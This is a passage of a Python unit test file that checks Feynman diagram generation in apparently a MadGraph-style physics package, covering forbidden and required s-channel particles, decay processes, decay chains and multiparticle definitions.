10] goal_no_photon_quark = [2, 2] for ngluons in range(2): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-1, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_particles':[22]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_photon[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_particles':[22, 1]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_photon_quark[ngluons]) def test_forbidden_onshell_s_channel_uux_uuxng(self): """Test diagram generation with forbidden onshell s-channel particles. """ goal_no_photon = [4, 18] photon_none = [{1:[0]},{2:[0],4:[0],13:[1],17:[1]}] goal_no_quark = [2, 6] quark_none = [{0:[0]},{0:[0,1],1:[0,1],3:[1],5:[1]}] goal_no_antiquark = [2, 6] antiquark_none = [{},{}] for ngluons in range(2): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-1, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_onsh_s_channels':[22]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_photon[ngluons]) #print self.myamplitude.nice_string() diagrams = self.myamplitude.get('diagrams') for idiag in range(len(diagrams)): if idiag in photon_none[ngluons]: vertices = diagrams[idiag].get('vertices') for ivert in range(len(vertices)): if ivert in photon_none[ngluons][idiag]: self.assertEqual(False, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertEqual(None, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertFalse(any([vert.get('legs')[-1].get('onshell') == False\ for vert in diagrams[idiag].get('vertices')])) # Test with u a > u a (+ g) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':22, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':22, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_onsh_s_channels':[1]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_quark[ngluons]) #print self.myamplitude.nice_string() diagrams = self.myamplitude.get('diagrams') for idiag in range(len(diagrams)): if idiag in quark_none[ngluons]: vertices = diagrams[idiag].get('vertices') for ivert in range(len(vertices)): if ivert in quark_none[ngluons][idiag]: self.assertEqual(False, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertEqual(None, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertFalse(any([vert.get('legs')[-1].get('onshell') == False\ for vert in diagrams[idiag].get('vertices')])) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_onsh_s_channels':[-1]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_antiquark[ngluons]) diagrams = self.myamplitude.get('diagrams') for idiag in range(len(diagrams)): if idiag in antiquark_none[ngluons]: vertices = diagrams[idiag].get('vertices') for ivert in range(len(vertices)): if ivert in antiquark_none[ngluons][idiag]: self.assertEqual(False, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertEqual(None, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertFalse(any([vert.get('legs')[-1].get('onshell') == False\ for vert in diagrams[idiag].get('vertices')])) def test_forbidden_s_channel_uux_uuxng(self): """Test diagram generation with forbidden s-channel particles. """ goal_no_photon = [3, 14] goal_no_quark = [1, 2] goal_no_antiquark = [2, 6] for ngluons in range(2): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-1, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_s_channels':[22]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_photon[ngluons]) # Test with u a > u a (+ g) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':22, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':22, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_s_channels':[1]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_quark[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_s_channels':[-1]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_no_antiquark[ngluons]) def test_required_s_channel_uux_uuxng(self): """Test the number of diagrams uu~>uu~+g with different required s-channel particles. """ goal_req_photon = [1, 4] goal_req_quark = [1, 4] goal_req_photon_or_gluon = [2, 9] goal_req_antiquark = [0, 0] for ngluons in range(2): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-1, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_photon[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[21], [22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_photon_or_gluon[ngluons]) # Just to make sure that diagrams are not double counted myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[22], [22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_photon[ngluons]) # Test with u a > u a (+ g) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':22, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':22, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[1]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_quark[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[-1]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_antiquark[ngluons]) def test_required_s_channel_decay(self): """Test decay processes d > d u u~ + a with required s-channels. """ goal_req_photon = [1, 4] goal_req_d = [0, 2] goal_req_u = [0, 1] goal_req_u_or_d = [0, 3] goal_req_antid = [0, 0] for nphotons in range(2): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.append(base_objects.Leg({'id':-2, 'state':True})) myleglist.extend([base_objects.Leg({'id':22, 'state':True})] * nphotons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_photon[nphotons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[21]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_photon[nphotons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[1, 22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_d[nphotons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[2, 22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_u[nphotons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[1, 22], [2, 22]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_u_or_d[nphotons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'required_s_channels':[[-1]]}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_req_antid[nphotons]) def test_decay_process_generation(self): """Test the decay process generations d > d g g and d > g g d """ myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myproc1 = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'is_decay_chain': True}) myamplitude1 = diagram_generation.Amplitude() myamplitude1.set('process', myproc1) myamplitude1.generate_diagrams() self.assertEqual(len(myamplitude1.get('diagrams')), 3) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myproc2 = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'is_decay_chain': True}) myamplitude2 = diagram_generation.Amplitude() myamplitude2.set('process', myproc2) myamplitude2.generate_diagrams() self.assertEqual(len(myamplitude2.get('diagrams')), 3) def test_diagram_generation_identical_interactions(self): """Test generation with multiple interactions for same particles """ mypartlist = base_objects.ParticleList(); myinterlist = base_objects.InteractionList(); # A gluon mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) g = mypartlist[-1] # A quark U and its antiparticle mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) u = mypartlist[-1] antiu = copy.copy(u) antiu.set('is_part', False) # A quark D and its antiparticle mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) d = mypartlist[-1] antid = copy.copy(d) antid.set('is_part', False) # Gluon couplings to quarks myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [antiu, \ u, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GUU'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [antid, \ d, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GDD'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [antid, \ d, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GNP'}, 'orders':{'NP':1}})) mymodel = base_objects.Model() mymodel.set('particles', mypartlist) mymodel.set('interactions', myinterlist) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-2, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'state':False})) myleglist.append(base_objects.Leg({'id':-1, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':mymodel}) myamplitude = diagram_generation.Amplitude(myproc) myamplitude.generate_diagrams() diagrams = myamplitude.get('diagrams') self.assertEqual(len(diagrams), 2) self.assertEqual(diagrams[0].get('orders'),{'QCD':2, 'NP':0, 'WEIGHTED':2}) self.assertEqual(diagrams[1].get('orders'),{'QCD':1, 'NP':1, 'WEIGHTED':2}) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':mymodel}) myamplitude = diagram_generation.Amplitude(myproc) myamplitude.generate_diagrams() diagrams = myamplitude.get('diagrams') self.assertEqual(len(diagrams), 12) orders = [{'QCD':3, 'NP':0, 'WEIGHTED':3}, {'QCD':2, 'NP':1, 'WEIGHTED':3}, {'QCD':2, 'NP':1, 'WEIGHTED':3}, {'QCD':1, 'NP':2, 'WEIGHTED':3}, {'QCD':3, 'NP':0, 'WEIGHTED':3}, {'QCD':2, 'NP':1, 'WEIGHTED':3}, {'QCD':2, 'NP':1, 'WEIGHTED':3}, {'QCD':1, 'NP':2, 'WEIGHTED':3}, {'QCD':3, 'NP':0, 'WEIGHTED':3}, {'QCD':2, 'NP':1, 'WEIGHTED':3}, {'QCD':3, 'NP':0, 'WEIGHTED':3}, {'QCD':2, 'NP':1, 'WEIGHTED':3}] for diagram, order in zip(diagrams, orders): self.assertEqual(diagram.get('orders'),order) def test_multiple_interaction_identical_particles(self): """Test the case with multiple interactions for identical particles """ mypartlist = base_objects.ParticleList(); myinterlist = base_objects.InteractionList(); # A quark U and its antiparticle mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) u = mypartlist[-1] antiu = copy.copy(u) antiu.set('is_part', False) # A gluon mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) g = mypartlist[-1] # two different couplings u u g myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [antiu, \ u, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQCD'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [antiu, \ u, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GEFF'}, 'orders':{'EFF':1}})) # 3 gluon vertex self.myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [self.mypartlist[0]] * 3), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G'}, 'orders':{'QCD':1}})) mymodel = base_objects.Model() mymodel.set('particles', mypartlist) mymodel.set('interactions', myinterlist) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':21, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.append(base_objects.Leg({'id':-2, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':mymodel}) myamplitude = diagram_generation.Amplitude() myamplitude.set('process', myproc) self.assertEqual(len(myamplitude.get('diagrams')), 8) goal_lastvx = set([21,2,-2]) for diag in myamplitude.get('diagrams'): self.assertEqual(set([l.get('id') for l in \ diag.get('vertices')[-1].get('legs')]), goal_lastvx) #=============================================================================== # Muliparticle test #=============================================================================== class MultiparticleTest(unittest.TestCase): """Test class for processes with multiparticle labels""" mypartlist = base_objects.ParticleList() myinterlist = base_objects.InteractionList() mymodel = base_objects.Model() myprocess = base_objects.Process() def setUp(self): # A gluon self.mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A quark U and its antiparticle self.mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) antiu = copy.copy(self.mypartlist[1]) antiu.set('is_part', False) # A quark D and its antiparticle self.mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) antid = copy.copy(self.mypartlist[2]) antid.set('is_part', False) # A photon self.mypartlist.append(base_objects.Particle({'name':'a', 'antiname':'a', 'spin':3, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'\gamma', 'antitexname':'\gamma', 'line':'wavy', 'charge':0., 'pdg_code':22, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A electron and positron self.mypartlist.append(base_objects.Particle({'name':'e+', 'antiname':'e-', 'spin':2, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'e^+', 'antitexname':'e^-', 'line':'straight', 'charge':-1., 'pdg_code':11, 'propagating':True, 'is_part':True, 'self_antipart':False})) antie = copy.copy(self.mypartlist[4]) antie.set('is_part', False) # 3 gluon vertiex self.myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [self.mypartlist[0]] * 3), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G'}, 'orders':{'QCD':1}})) # 4 gluon vertex self.myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [self.mypartlist[0]] * 4), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G^2'}, 'orders':{'QCD':2}})) # Gluon and photon couplings to quarks self.myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [self.mypartlist[1], \ antiu, \ self.mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) self.myinterlist.append(base_objects.Interaction({ 'id': 4, 'particles': base_objects.ParticleList(\ [self.mypartlist[1], \ antiu, \ self.mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) self.myinterlist.append(base_objects.Interaction({ 'id': 5, 'particles': base_objects.ParticleList(\ [self.mypartlist[2], \ antid, \ self.mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) self.myinterlist.append(base_objects.Interaction({ 'id': 6, 'particles': base_objects.ParticleList(\ [self.mypartlist[2], \ antid, \ self.mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of e to gamma self.myinterlist.append(base_objects.Interaction({ 'id': 7, 'particles': base_objects.ParticleList(\ [self.mypartlist[4], \ antie, \ self.mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) self.mymodel.set('particles', self.mypartlist) self.mymodel.set('interactions', self.myinterlist) #=============================================================================== # DecayChainAmplitudeTest #=============================================================================== class DecayChainAmplitudeTest(unittest.TestCase): """Test class for the DecayChainAmplitude object""" mydict = {} mymodel = base_objects.Model() my_amplitudes = diagram_generation.AmplitudeList() my_decay_chains = diagram_generation.DecayChainAmplitudeList() my_decay_chain = diagram_generation.DecayChainAmplitude() def setUp(self): mypartlist = base_objects.ParticleList() myinterlist = base_objects.InteractionList() # A gluon mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A quark U and its antiparticle mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) antiu = copy.copy(mypartlist[1]) antiu.set('is_part', False) # A quark D and its antiparticle mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) antid = copy.copy(mypartlist[2]) antid.set('is_part', False) # A photon mypartlist.append(base_objects.Particle({'name':'a', 'antiname':'a', 'spin':3, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'\gamma', 'antitexname':'\gamma', 'line':'wavy', 'charge':0., 'pdg_code':22, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A electron and positron mypartlist.append(base_objects.Particle({'name':'e+', 'antiname':'e-', 'spin':2, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'e^+', 'antitexname':'e^-', 'line':'straight', 'charge':-1., 'pdg_code':11, 'propagating':True, 'is_part':True, 'self_antipart':False})) antie = copy.copy(mypartlist[4]) antie.set('is_part', False) # 3 gluon vertiex myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [mypartlist[0]] * 3), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G'}, 'orders':{'QCD':1}})) # 4 gluon vertex myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [mypartlist[0]] * 4), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G^2'}, 'orders':{'QCD':2}})) # Gluon and photon couplings to quarks myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [mypartlist[1], \ antiu, \ mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 4, 'particles': base_objects.ParticleList(\ [mypartlist[1], \ antiu, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) myinterlist.append(base_objects.Interaction({ 'id': 5, 'particles': base_objects.ParticleList(\ [mypartlist[2], \ antid, \ mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 6, 'particles': base_objects.ParticleList(\ [mypartlist[2], \ antid, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of e to gamma myinterlist.append(base_objects.Interaction({ 'id': 7, 'particles': base_objects.ParticleList(\ [mypartlist[4], \ antie, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) self.mymodel.set('particles', mypartlist) self.mymodel.set('interactions', myinterlist) self.mydict = {'amplitudes': self.my_amplitudes, 'decay_chains': self.my_decay_chains} self.my_decay_chain = diagram_generation.DecayChainAmplitude(\ self.mydict) def test_setget_process_correct(self): "Test correct DecayChainAmplitude object __init__, get and set" myprocess2 = diagram_generation.DecayChainAmplitude() for prop in self.mydict.keys(): myprocess2.set(prop, self.mydict[prop]) self.assertEqual(self.my_decay_chain, myprocess2) def test_setget_process_exceptions(self): "Test error raising in DecayChainAmplitude __init__, get and set" wrong_dict = self.mydict wrong_dict['wrongparam'] = 'wrongvalue' a_number = 0 # Test init self.assertRaises(diagram_generation.DecayChainAmplitude.PhysicsObjectError, diagram_generation.DecayChainAmplitude, wrong_dict) self.assertRaises(AssertionError, diagram_generation.DecayChainAmplitude, a_number) # Test get self.assertRaises(AssertionError, self.my_decay_chain.get, a_number) self.assertRaises(diagram_generation.DecayChainAmplitude.PhysicsObjectError, self.my_decay_chain.get, 'wrongparam') # Test set self.assertRaises(AssertionError, self.my_decay_chain.set, a_number, 0) self.assertRaises(diagram_generation.DecayChainAmplitude.PhysicsObjectError, self.my_decay_chain.set, 'wrongparam', 0) def test_representation(self): """Test process object string representation.""" goal = "{\n" goal = goal + " \'amplitudes\': %s,\n" % repr(diagram_generation.AmplitudeList()) goal = goal + " \'decay_chains\': %s\n}" % repr(diagram_generation.AmplitudeList()) self.assertEqual(goal, str(self.my_decay_chain)) def test_decay_chain_pp_jj(self): """Test a decay chain process pp > jj, j > jj based on multiparticle lists """ p = [1, -1, 2, -2, 21] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * 4]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({'legs':my_multi_leglist, 'model':self.mymodel}) my_decay_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * 4]) my_decay_leglist[0].set('state', False) my_decay_processes = base_objects.ProcessDefinition({\ 'legs':my_decay_leglist, 'model':self.mymodel}) my_process_definition.set('decay_chains', base_objects.ProcessDefinitionList(\ [my_decay_processes])) my_decay_chain_amps = diagram_generation.DecayChainAmplitude(\ my_process_definition) self.assertEqual(len(my_decay_chain_amps.get('amplitudes')), 35) self.assertEqual(len(my_decay_chain_amps.get('decay_chains')), 1) self.assertEqual(len(my_decay_chain_amps.get('decay_chains')[0].\ get('amplitudes')), 15) # Check that all onshell flags are set appropriately for amp in my_decay_chain_amps.get('amplitudes'): for diagram in amp.get('diagrams'): external = set() for vertex in diagram.get('vertices'): for l in vertex.get('legs'): self.assertTrue(l.get('onshell') and l.get('state') and \ not l.get('number') in external or \ not l.get('onshell') and (not l.get('state') or \ l.get('number') in external)) external.add(l.get('number')) def test_unused_decays_in_decay_chain_pp_jj(self): """Test removal of unused decays in decay chain qq > qq, j > jj """ p = [1, -1, 2, -2, 21] q = [1, -1, 2, -2] my_multi_leg = base_objects.MultiLeg({'ids': q, 'state': True}); # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * 4]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({'legs':my_multi_leglist, 'model':self.mymodel}) my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); my_decay_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * 4]) my_decay_leglist[0].set('state', False) my_decay_processes = base_objects.ProcessDefinition({\ 'legs':my_decay_leglist, 'model':self.mymodel}) my_process_definition.set('decay_chains', base_objects.ProcessDefinitionList(\ [my_decay_processes])) decay_chain = diagram_generation.DecayChainAmplitude(\ my_process_definition) # Check that all decays are quarks, no gluons for dc_amp in decay_chain.get('decay_chains')[0].get('amplitudes'): self.assertTrue(dc_amp.get('process').get('legs')[0].get('id') in q) def test_forbidden_s_channel_decay_chain(self): """Test decay chains with forbidden s-channel particles. """ goal_no_quark = 6 quark_none = {0:[0,1],1:[0,1],3:[1],5:[1]} # Test with u a > u a (+ g) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':22, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':22, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'forbidden_onsh_s_channels':[1]}) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':22, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) mydecayproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) myproc.set('decay_chains', base_objects.ProcessList([mydecayproc])) myamplitude = diagram_generation.DecayChainAmplitude(myproc) #print myamplitude.nice_string() self.assertEqual(len(myamplitude.get('amplitudes')[0].get('diagrams')), goal_no_quark) #print myamplitude.nice_string() diagrams = myamplitude.get('amplitudes')[0].get('diagrams') for idiag in range(len(diagrams)): if idiag in quark_none: vertices = diagrams[idiag].get('vertices') for ivert in range(len(vertices)): if ivert in quark_none[idiag]: self.assertEqual(False, 